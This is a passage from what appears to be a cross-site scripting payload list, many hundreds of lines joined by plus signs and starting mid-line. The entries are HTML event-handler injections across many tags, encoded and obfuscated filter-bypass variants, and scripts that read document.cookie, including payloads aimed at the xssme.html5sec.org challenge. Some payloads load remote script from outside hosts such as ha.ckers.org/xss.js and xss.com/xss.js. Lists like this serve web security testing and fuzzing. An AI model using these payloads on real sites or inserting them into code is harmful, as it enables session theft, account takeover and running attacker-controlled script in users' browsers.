draggable="true" ondragleave="alert(1)">test</var> +<var draggable="true" ondragstart="alert(1)">test</var> +<var id=x tabindex=1 onactivate=alert(1)></var> +<var id=x tabindex=1 onbeforeactivate=alert(1)></var> +<var id=x tabindex=1 onbeforedeactivate=alert(1)></var><input autofocus> +<var id=x tabindex=1 ondeactivate=alert(1)></var><input id=y autofocus> +<var id=x tabindex=1 onfocus=alert(1)></var> +<var id=x tabindex=1 onfocusin=alert(1)></var> +<var onbeforecopy="alert(1)" contenteditable>test</var> +<var onbeforecut="alert(1)" contenteditable>test</var> +<var onbeforepaste="alert(1)" contenteditable>test</var> +<var onblur=alert(1) tabindex=1 id=x></var><input autofocus> +<var onclick="alert(1)">test</var> +<var oncontextmenu="alert(1)">test</var> +<var oncopy="alert(1)" contenteditable>test</var> +<var oncut="alert(1)" contenteditable>test</var> +<var ondblclick="alert(1)">test</var> +<var onfocusout=alert(1) tabindex=1 id=x></var><input autofocus> +<var onkeydown="alert(1)" contenteditable>test</var> +<var onkeypress="alert(1)" contenteditable>test</var> +<var onkeyup="alert(1)" contenteditable>test</var> +<var onmousedown="alert(1)">test</var> +<var onmouseenter="alert(1)">test</var> +<var onmouseleave="alert(1)">test</var> +<var onmousemove="alert(1)">test</var> +<var onmouseout="alert(1)">test</var> +<var onmouseover="alert(1)">test</var> +<var onmouseup="alert(1)">test</var> +<var onpaste="alert(1)" contenteditable>test</var> +<video autoplay controls onpause=alert(1)><source src="validvideo.mp4" type="video/mp4"></video> +<video autoplay controls onseeked=alert(1)><source src="validvideo.mp4" type="video/mp4"></video> +<video autoplay controls onseeking=alert(1)><source src="validvideo.mp4" type="video/mp4"></video> +<video autoplay controls onvolumechange=alert(1)><source src="validvideo.mp4" type="video/mp4"></video> +<video autoplay controls onwaiting=alert(1)><source src="validvideo.mp4" type=video/mp4></video> +<video autoplay onloadedmetadata=alert(1)> <source src="validvideo.mp4" type="video/mp4"></video> +<video autoplay onplay=alert(1)><source src="validvideo.mp4" type="video/mp4"></video> +<video autoplay onplaying=alert(1)><source src="validvideo.mp4" type="video/mp4"></video> +<video controls autoplay onended=alert(1)><source src="validvideo.mp4" type="video/mp4"></video> +<video controls autoplay ontimeupdate=alert(1)><source src="validvideo.mp4" type="video/mp4"></video> +<video draggable="true" ondrag="alert(1)">test</video> +<video draggable="true" ondragend="alert(1)">test</video> +<video draggable="true" ondragenter="alert(1)">test</video> +<video draggable="true" ondragleave="alert(1)">test</video> +<video draggable="true" ondragstart="alert(1)">test</video> +<video id=x controls onfocus=alert(1)><source src="validvideo.mp4" type=video/mp4></video> +<video id=x controls onfocusin=alert(1)><source src="validvideo.mp4" type=video/mp4></video> +<video id=x tabindex=1 onactivate=alert(1)></video> +<video id=x tabindex=1 onbeforeactivate=alert(1)></video> +<video id=x tabindex=1 onbeforedeactivate=alert(1)></video><input autofocus> +<video id=x tabindex=1 ondeactivate=alert(1)></video><input id=y autofocus> +<video onbeforecopy="alert(1)" contenteditable>test</video> +<video onbeforecut="alert(1)" contenteditable>test</video> +<video onbeforepaste="alert(1)" contenteditable>test</video> +<video onblur=alert(1) tabindex=1 id=x></video><input autofocus> +<video oncanplay=alert(1)><source src="validvideo.mp4" type="video/mp4"></video> +<video oncanplaythrough=alert(1)><source src="validvideo.mp4" type="video/mp4"></video> +<video onclick="alert(1)">test</video> +<video oncontextmenu="alert(1)">test</video> +<video oncopy="alert(1)" contenteditable>test</video> +<video oncut="alert(1)" contenteditable>test</video> +<video ondblclick="alert(1)">test</video> +<video onfocusout=alert(1) tabindex=1 id=x></video><input autofocus> +<video onkeydown="alert(1)" contenteditable>test</video> +<video onkeypress="alert(1)" contenteditable>test</video> +<video onkeyup="alert(1)" contenteditable>test</video> +<video onloadeddata=alert(1)><source src="validvideo.mp4" type="video/mp4"></video> +<video onmousedown="alert(1)">test</video> +<video onmouseenter="alert(1)">test</video> +<video onmouseleave="alert(1)">test</video> +<video onmousemove="alert(1)">test</video> +<video onmouseout="alert(1)">test</video> +<video onmouseover="alert(1)">test</video> +<video onmouseup="alert(1)">test</video> +<video onpaste="alert(1)" contenteditable>test</video> +<video src/onerror=alert(1)> +<video><source onerror=alert(1) src=1></video> +<video><track default onload=alert(1) src="data:text/vtt,WEBVTT"></video> +<wbr draggable="true" ondrag="alert(1)">test</wbr> +<wbr draggable="true" ondragend="alert(1)">test</wbr> +<wbr draggable="true" ondragenter="alert(1)">test</wbr> +<wbr draggable="true" ondragleave="alert(1)">test</wbr> +<wbr draggable="true" ondragstart="alert(1)">test</wbr> +<wbr id=x tabindex=1 onactivate=alert(1)></wbr> +<wbr id=x tabindex=1 onbeforeactivate=alert(1)></wbr> +<wbr id=x tabindex=1 onbeforedeactivate=alert(1)></wbr><input autofocus> +<wbr id=x tabindex=1 ondeactivate=alert(1)></wbr><input id=y autofocus> +<wbr id=x tabindex=1 onfocus=alert(1)></wbr> +<wbr id=x tabindex=1 onfocusin=alert(1)></wbr> +<wbr onbeforecopy="alert(1)" contenteditable>test</wbr> +<wbr onbeforecut="alert(1)" contenteditable>test</wbr> +<wbr onbeforepaste="alert(1)" contenteditable>test</wbr> +<wbr onblur=alert(1) tabindex=1 id=x></wbr><input autofocus> +<wbr onclick="alert(1)">test</wbr> +<wbr oncontextmenu="alert(1)">test</wbr> +<wbr oncopy="alert(1)" contenteditable>test</wbr> +<wbr oncut="alert(1)" contenteditable>test</wbr> +<wbr ondblclick="alert(1)">test</wbr> +<wbr onfocusout=alert(1) tabindex=1 id=x></wbr><input autofocus> +<wbr onkeydown="alert(1)" contenteditable>test</wbr> +<wbr onkeypress="alert(1)" contenteditable>test</wbr> +<wbr onkeyup="alert(1)" contenteditable>test</wbr> +<wbr onmousedown="alert(1)">test</wbr> +<wbr onmouseenter="alert(1)">test</wbr> +<wbr onmouseleave="alert(1)">test</wbr> +<wbr onmousemove="alert(1)">test</wbr> +<wbr onmouseout="alert(1)">test</wbr> +<wbr onmouseover="alert(1)">test</wbr> +<wbr onmouseup="alert(1)">test</wbr> +<wbr onpaste="alert(1)" contenteditable>test</wbr> +<xmp draggable="true" ondrag="alert(1)">test</xmp> +<xmp draggable="true" ondragend="alert(1)">test</xmp> +<xmp draggable="true" ondragenter="alert(1)">test</xmp> +<xmp draggable="true" ondragleave="alert(1)">test</xmp> +<xmp draggable="true" ondragstart="alert(1)">test</xmp> +<xmp id=x tabindex=1 onactivate=alert(1)></xmp> +<xmp id=x tabindex=1 onbeforeactivate=alert(1)></xmp> +<xmp id=x tabindex=1 onbeforedeactivate=alert(1)></xmp><input autofocus> +<xmp id=x tabindex=1 ondeactivate=alert(1)></xmp><input id=y autofocus> +<xmp id=x tabindex=1 onfocus=alert(1)></xmp> +<xmp id=x tabindex=1 onfocusin=alert(1)></xmp> +<xmp onbeforecopy="alert(1)" contenteditable>test</xmp> +<xmp onbeforecut="alert(1)" contenteditable>test</xmp> +<xmp onbeforepaste="alert(1)" contenteditable>test</xmp> +<xmp onblur=alert(1) tabindex=1 id=x></xmp><input autofocus> +<xmp onclick="alert(1)">test</xmp> +<xmp oncontextmenu="alert(1)">test</xmp> +<xmp oncopy="alert(1)" contenteditable>test</xmp> +<xmp oncut="alert(1)" contenteditable>test</xmp> +<xmp ondblclick="alert(1)">test</xmp> +<xmp onfocusout=alert(1) tabindex=1 id=x></xmp><input autofocus> +<xmp onkeydown="alert(1)" contenteditable>test</xmp> +<xmp onkeypress="alert(1)" contenteditable>test</xmp> +<xmp onkeyup="alert(1)" contenteditable>test</xmp> +<xmp onmousedown="alert(1)">test</xmp> +<xmp onmouseenter="alert(1)">test</xmp> +<xmp onmouseleave="alert(1)">test</xmp> +<xmp onmousemove="alert(1)">test</xmp> +<xmp onmouseout="alert(1)">test</xmp> +<xmp onmouseover="alert(1)">test</xmp> +<xmp onmouseup="alert(1)">test</xmp> +<xmp onpaste="alert(1)" contenteditable>test</xmp> +<xss id=x tabindex=1 onactivate=alert(1)></xss> +<xss id=x tabindex=1 onbeforeactivate=alert(1)></xss> +<xss id=x tabindex=1 onbeforedeactivate=alert(1)></xss><input autofocus> +<xss id=x tabindex=1 onblur=alert(1)></xss><input autofocus> +<xss id=x tabindex=1 ondeactivate=alert(1)></xss><input autofocus> +<xss id=x tabindex=1 onfocus=alert(1)></xss> +<xss id=x tabindex=1 onfocusin=alert(1)></xss> +<xss id=x tabindex=1 onfocusout=alert(1)></xss><input autofocus> +'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Eshadowlabs(0x000045)%3C/script%3E +<<scr\0ipt/src=http://xss.com/xss.js></script +%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3ERWAR%280x00010E%29%3C%2Fscript%3E +' onmouseover=alert(/XSS/) +"><iframe%20src="http://google.com"%%203E +'<script>window.onload=function(){document.forms[0].message.value='1';}</script> +x”</title><img src%3dx onerror%3dalert(1)> +<script> document.getElementById(%22safe123%22).setCapture(); document.getElementById(%22safe123%22).click(); </script> +<script>Object.defineProperties(window, {Safe: {value: {get: function() {return document.cookie}}}});alert(Safe.get())</script> +<script>var x = document.createElement('iframe');document.body.appendChild(x);var xhr = x.contentWindow.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();</script> +<script>(function() {var event = document.createEvent(%22MouseEvents%22);event.initMouseEvent(%22click%22, true, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null);var fakeData = [event, {isTrusted: true}, event];arguments.__defineGetter__('0', function() { return fakeData.pop(); });alert(Safe.get.apply(null, arguments));})();</script> +<script>var script = document.getElementsByTagName('script')[0]; var clone = script.childNodes[0].cloneNode(true); var ta = document.createElement('textarea'); ta.appendChild(clone); alert(ta.value.match(/cookie = '(.*?)'/)[1])</script> +<script>xhr=new ActiveXObject(%22Msxml2.XMLHTTP%22);xhr.open(%22GET%22,%22/xssme2%22,true);xhr.onreadystatechange=function(){if(xhr.readyState==4%26%26xhr.status==200){alert(xhr.responseText.match(/'([^']%2b)/)[1])}};xhr.send();</script> +<script>alert(document.documentElement.innerHTML.match(/'([^']%2b)/)[1])</script> +<script>alert(document.getElementsByTagName('html')[0].innerHTML.match(/'([^']%2b)/)[1])</script> +<%73%63%72%69%70%74> %64 = %64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74(%22%64%69%76%22); %64%2e%61%70%70%65%6e%64%43%68%69%6c%64(%64%6f%63%75%6d%65%6e%74%2e%68%65%61%64%2e%63%6c%6f%6e%65%4e%6f%64%65(%74%72%75%65)); %61%6c%65%72%74(%64%2e%69%6e%6e%65%72%48%54%4d%4c%2e%6d%61%74%63%68(%22%63%6f%6f%6b%69%65 = '(%2e%2a%3f)'%22)[%31]); </%73%63%72%69%70%74> +<script> var xdr = new ActiveXObject(%22Microsoft.XMLHTTP%22); xdr.open(%22get%22, %22/xssme2%3Fa=1%22, true); xdr.onreadystatechange = function() { try{ var c; if (c=xdr.responseText.match(/document.cookie = '(.*%3F)'/) ) alert(c[1]); }catch(e){} }; xdr.send(); </script> +<iframe id=%22ifra%22 src=%22/%22></iframe> <script>ifr = document.getElementById('ifra'); ifr.contentDocument.write(%22<scr%22 %2b %22ipt>top.foo = Object.defineProperty</scr%22 %2b %22ipt>%22); foo(window, 'Safe', {value:{}}); foo(Safe, 'get', {value:function() { return document.cookie }}); alert(Safe.get());</script> +<script>alert(document.head.innerHTML.substr(146,20));</script> +<script>alert(document.head.childNodes[3].text)</script> +<script>var request = new XMLHttpRequest();request.open('GET', 'http://html5sec.org/xssme2', false);request.send(null);if (request.status == 200){alert(request.responseText.substr(150,41));}</script> +<script>Object.defineProperty(window, 'Safe', {value:{}});Object.defineProperty(Safe, 'get', {value:function() {return document.cookie}});alert(Safe.get())</script> +<script>x=document.createElement(%22iframe%22);x.src=%22http://xssme.html5sec.org/404%22;x.onload=function(){window.frames[0].document.write(%22<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%22)};document.body.appendChild(x);</script> +<script>x=document.createElement(%22iframe%22);x.src=%22http://xssme.html5sec.org/404%22;x.onload=function(){window.frames[0].document.write(%22<script>Object.defineProperty(parent,'Safe',{value:{}});Object.defineProperty(parent.Safe,'get',{value:function(){return top.document.cookie}});alert(parent.Safe.get())<\/script>%22)};document.body.appendChild(x);</script> +<script> var+xmlHttp+=+null; try+{ xmlHttp+=+new+XMLHttpRequest(); }+catch(e)+{} if+(xmlHttp)+{ xmlHttp.open('GET',+'/xssme2',+true); xmlHttp.onreadystatechange+=+function+()+{ if+(xmlHttp.readyState+==+4)+{ xmlHttp.responseText.match(/document.cookie%5Cs%2B=%5Cs%2B'(.*)'/gi); alert(RegExp.%241); } } xmlHttp.send(null); }; </script> +<script> document.getElementById(%22safe123%22).click=function()+{alert(Safe.get());} document.getElementById(%22safe123%22).click({'type':'click','isTrusted':true}); </script> +<script> var+MouseEvent=function+MouseEvent(){}; MouseEvent=MouseEvent var+test=new+MouseEvent(); test.isTrusted=true; test.type='click'; document.getElementById(%22safe123%22).click=function()+{alert(Safe.get());} document.getElementById(%22safe123%22).click(test); </script> +<script> (function (o) { function exploit(x) { if (x !== null) alert('User cookie is ' %2B x); else console.log('fail'); } o.onclick = function (e) { e.__defineGetter__('isTrusted', function () { return true; }); exploit(Safe.get()); }; var e = document.createEvent('MouseEvent'); e.initEvent('click', true, true); o.dispatchEvent(e); })(document.getElementById('safe123')); </script> +<iframe src=/ onload=eval(unescape(this.name.replace(/\/g,null))) name=fff%253Dnew%2520this.contentWindow.window.XMLHttpRequest%2528%2529%253Bfff.open%2528%2522GET%2522%252C%2522xssme2%2522%2529%253Bfff.onreadystatechange%253Dfunction%2528%2529%257Bif%2520%2528fff.readyState%253D%253D4%2520%2526%2526%2520fff.status%253D%253D200%2529%257Balert%2528fff.responseText%2529%253B%257D%257D%253Bfff.send%2528%2529%253B></iframe> +<script> function b() { return Safe.get(); } alert(b({type:String.fromCharCode(99,108,105,99,107),isTrusted:true})); </script> +<img src=http://www.google.fr/images/srpr/logo3w.png onload=alert(this.ownerDocument.cookie) width=0 height= 0 /> # +<script> function foo(elem, doc, text) { elem.onclick = function (e) { e.__defineGetter__(text[0], function () { return true }) alert(Safe.get()); }; var event = doc.createEvent(text[1]); event.initEvent(text[2], true, true); elem.dispatchEvent(event); } </script> <img src=http://www.google.fr/images/srpr/logo3w.png onload=foo(this,this.ownerDocument,this.name.split(/,/)) name=isTrusted,MouseEvent,click width=0 height=0 /> # +<SCRIPT+FOR=document+EVENT=onreadystatechange>MouseEvent=function+MouseEvent(){};test=new+MouseEvent();test.isTrusted=true;test.type=%22click%22;getElementById(%22safe123%22).click=function()+{alert(Safe.get());};getElementById(%22safe123%22).click(test);</SCRIPT># +<script> var+xmlHttp+=+null; try+{ xmlHttp+=+new+XMLHttpRequest(); }+catch(e)+{} if+(xmlHttp)+{ xmlHttp.open('GET',+'/xssme2',+true); xmlHttp.onreadystatechange+=+function+()+{ if+(xmlHttp.readyState+==+4)+{ xmlHttp.responseText.match(/document.cookie%5Cs%2B=%5Cs%2B'(.*)'/gi); alert(RegExp.%241); } } xmlHttp.send(null); }; </script># +<video+onerror='javascript:MouseEvent=function+MouseEvent(){};test=new+MouseEvent();test.isTrusted=true;test.type=%22click%22;document.getElementById(%22safe123%22).click=function()+{alert(Safe.get());};document.getElementById(%22safe123%22).click(test);'><source>%23 +<script for=document event=onreadystatechange>getElementById('safe123').click()</script> +<script> var+x+=+showModelessDialog+(this); alert(x.document.cookie); </script> +<script> location.href = 'data:text/html;base64,PHNjcmlwdD54PW5ldyBYTUxIdHRwUmVxdWVzdCgpO3gub3BlbigiR0VUIiwiaHR0cDovL3hzc21lLmh0bWw1c2VjLm9yZy94c3NtZTIvIix0cnVlKTt4Lm9ubG9hZD1mdW5jdGlvbigpIHsgYWxlcnQoeC5yZXNwb25zZVRleHQubWF0Y2goL2RvY3VtZW50LmNvb2tpZSA9ICcoLio/KScvKVsxXSl9O3guc2VuZChudWxsKTs8L3NjcmlwdD4='; </script> +<iframe src=%22404%22 onload=%22frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe> +<iframe src=%22404%22 onload=%22content.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe> +<iframe src=%22404%22 onload=%22self.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe> +<iframe src=%22404%22 onload=%22top.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe> +<script>var x = safe123.onclick;safe123.onclick = function(event) {var f = false;var o = { isTrusted: true };var a = [event, o, event];var get;event.__defineGetter__('type', function() {get = arguments.callee.caller.arguments.callee;return 'click';});var _alert = alert;alert = function() { alert = _alert };x.apply(null, a);(function() {arguments.__defineGetter__('0', function() { return a.pop(); });alert(get());})();};safe123.click();</script># +<iframe onload=%22write('<script>'%2Blocation.hash.substr(1)%2B'</script>')%22></iframe>#var xhr = new XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send(); +<textarea id=ta></textarea><script>ta.appendChild(safe123.parentNode.previousSibling.previousSibling.childNodes[3].firstChild.cloneNode(true));alert(ta.value.match(/cookie = '(.*?)'/)[1])</script> +<textarea id=ta onfocus=console.dir(event.currentTarget.ownerDocument.location.href=%26quot;javascript:\%26quot;%26lt;script%26gt;var%2520xhr%2520%253D%2520new%2520XMLHttpRequest()%253Bxhr.open('GET'%252C%2520'http%253A%252F%252Fhtml5sec.org%252Fxssme2'%252C%2520true)%253Bxhr.onload%2520%253D%2520function()%2520%257B%2520alert(xhr.responseText.match(%252Fcookie%2520%253D%2520'(.*%253F)'%252F)%255B1%255D)%2520%257D%253Bxhr.send()%253B%26lt;\/script%26gt;\%26quot;%26quot;) autofocus></textarea> +<iframe onload=%22write('<script>'%2Blocation.hash.substr(1)%2B'</script>')%22></iframe>#var xhr = new XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send(); +<textarea id=ta></textarea><script>ta.appendChild(safe123.parentNode.previousSibling.previousSibling.childNodes[3].firstChild.cloneNode(true));alert(ta.value.match(/cookie = '(.*?)'/)[1])</script> +<script>function x(window) { eval(location.hash.substr(1)) }</script><iframe id=iframe src=%22javascript:parent.x(window)%22><iframe>#var xhr = new window.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send(); +<textarea id=ta onfocus=%22write('<script>alert(1)</script>')%22 autofocus></textarea> +<object data=%22data:text/html;base64,PHNjcmlwdD4gdmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOyB4aHIub3BlbignR0VUJywgJ2h0dHA6Ly94c3NtZS5odG1sNXNlYy5vcmcveHNzbWUyJywgdHJ1ZSk7IHhoci5vbmxvYWQgPSBmdW5jdGlvbigpIHsgYWxlcnQoeGhyLnJlc3BvbnNlVGV4dC5tYXRjaCgvY29va2llID0gJyguKj8pJy8pWzFdKSB9OyB4aHIuc2VuZCgpOyA8L3NjcmlwdD4=%22> +<script>function x(window) { eval(location.hash.substr(1)) }; open(%22javascript:opener.x(window)%22)</script>#var xhr = new window.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send(); +%3Cscript%3Exhr=new%20ActiveXObject%28%22Msxml2.XMLHTTP%22%29;xhr.open%28%22GET%22,%22/xssme2%22,true%29;xhr.onreadystatechange=function%28%29{if%28xhr.readyState==4%26%26xhr.status==200%29{alert%28xhr.responseText.match%28/%27%28[^%27]%2b%29/%29[1]%29}};xhr.send%28%29;%3C/script%3E +<iframe src=`http://xssme.html5sec.org/?xss=<iframe onload=%22xhr=new XMLHttpRequest();xhr.open('GET','http://html5sec.org/xssme2',true);xhr.onreadystatechange=function(){if(xhr.readyState==4%26%26xhr.status==200){alert(xhr.responseText.match(/'([^']%2b)/)[1])}};xhr.send();%22>`> +<a target="x" href="xssme?xss=%3Cscript%3EaddEventListener%28%22DOMFrameContentLoaded%22,%20function%28e%29%20{e.stopPropagation%28%29;},%20true%29;%3C/script%3E%3Ciframe%20src=%22data:text/html,%253cscript%253eObject.defineProperty%28top,%20%27MyEvent%27,%20{value:%20Object,%20configurable:%20true}%29;function%20y%28%29%20{alert%28top.Safe.get%28%29%29;};event%20=%20new%20Object%28%29;event.type%20=%20%27click%27;event.isTrusted%20=%20true;y%28event%29;%253c/script%253e%22%3E%3C/iframe%3E +<a target="x" href="xssme?xss=<script>var cl=Components;var fcc=String.fromCharCode;doc=cl.lookupMethod(top, fcc(100,111,99,117,109,101,110,116) )( );cl.lookupMethod(doc,fcc(119,114,105,116,101))(doc.location.hash)</script>#<iframe src=data:text/html;base64,PHNjcmlwdD5ldmFsKGF0b2IobmFtZSkpPC9zY3JpcHQ%2b name=ZG9jPUNvbXBvbmVudHMubG9va3VwTWV0aG9kKHRvcC50b3AsJ2RvY3VtZW50JykoKTt2YXIgZmlyZU9uVGhpcyA9ICBkb2MuZ2V0RWxlbWVudEJ5SWQoJ3NhZmUxMjMnKTt2YXIgZXZPYmogPSBkb2N1bWVudC5jcmVhdGVFdmVudCgnTW91c2VFdmVudHMnKTtldk9iai5pbml0TW91c2VFdmVudCggJ2NsaWNrJywgdHJ1ZSwgdHJ1ZSwgd2luZG93LCAxLCAxMiwgMzQ1LCA3LCAyMjAsIGZhbHNlLCBmYWxzZSwgdHJ1ZSwgZmFsc2UsIDAsIG51bGwgKTtldk9iai5fX2RlZmluZUdldHRlcl9fKCdpc1RydXN0ZWQnLGZ1bmN0aW9uKCl7cmV0dXJuIHRydWV9KTtmdW5jdGlvbiB4eChjKXtyZXR1cm4gdG9wLlNhZmUuZ2V0KCl9O2FsZXJ0KHh4KGV2T2JqKSk></iframe> +<a target="x" href="xssme?xss=<script>find('cookie'); var doc = getSelection().getRangeAt(0).startContainer.ownerDocument; console.log(doc); var xpe = new XPathEvaluator(); var nsResolver = xpe.createNSResolver(doc); var result = xpe.evaluate('//script/text()', doc, nsResolver, 0, null); alert(result.iterateNext().data.match(/cookie = '(.*?)'/)[1])</script> +<a target="x" href="xssme?xss=<script>function x(window) { eval(location.hash.substr(1)) }</script><iframe src=%22javascript:parent.x(window);%22></iframe>#var xhr = new window.XMLHttpRequest();xhr.open('GET', '.', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send(); +Garethy Salty Method!<script>alert(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(this,'window')(),'document')(), 'getElementsByTagName')('html')[0],'innerHTML')().match(/d.*'/));</script> +<a href="javascript&colon;\u0061&#x6C;&#101%72t&lpar;1&rpar;"><button> +<div onmouseover='alert&lpar;1&rpar;'>DIV</div> +<iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)"> +<a href="jAvAsCrIpT&colon;alert&lpar;1&rpar;">X</a> +<embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> ? +<object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">? +<var onmouseover="prompt(1)">On Mouse Over</var>? +<a href=javascript&colon;alert&lpar;document&period;cookie&rpar;>Click Here</a> +<img src="/" =_=" title="onerror='prompt(1)'"> +<%<!--'%><script>alert(1);</script --> +<script src="data:text/javascript,alert(1)"></script> +<iframe/src \/\/onload = prompt(1) +<iframe/onreadystatechange=alert(1) +<svg/onload=alert(1) +<input value=<><iframe/src=javascript:confirm(1) +<input type="text" value=``<div/onmouseover='alert(1)'>X</div> +http://www.<script>alert(1)</script .com +<iframe src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe> ? +<svg><script ?>alert(1) +<iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe> +<img src=`xx:xx`onerror=alert(1)> +<object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object> +<meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>? +<math><a xlink:href="//jsfiddle.net/t846h/">click +<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>? +<svg contentScriptType=text/vbs><script>MsgBox+1 +<a href="data:text/html;base64_,<svg/onload=\u0061&#x6C;&#101%72t(1)>">X</a +<iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE> +<script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+ +<script/src="data&colon;text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F +<script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script ???????????? +<object data=javascript&colon;\u0061&#x6C;&#101%72t(1)> +<script>+-+-1-+-+alert(1)</script> +<body/onload=&lt;!--&gt;&#10alert(1)> +<script itworksinallbrowsers>/*<script* */alert(1)</script ? +<img src ?itworksonchrome?\/onerror = alert(1)??? +<svg><script>//&NewLine;confirm(1);</script </svg> +<svg><script onlypossibleinopera:-)> alert(1) +<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe +<script x> alert(1) </script 1=2 +<div/onmouseover='alert(1)'> style="x:"> +<--`<img/src=` onerror=alert(1)> --!> +<script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script> ? +<div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>? +"><img src=x onerror=window.open('https://www.google.com/');> +<form><button formaction=javascript&colon;alert(1)>CLICKME +<math><a xlink:href="//jsfiddle.net/t846h/">click +<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>? +<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe> +<a href="data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203">Click Me</a> +"><img src=x onerror=prompt(1);> +<SCRIPT>alert('XSS');</SCRIPT> +'';!--"<XSS>=&{()} +<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> +<IMG SRC="javascript:alert('XSS');"> +<IMG SRC=javascript:alert('XSS')> 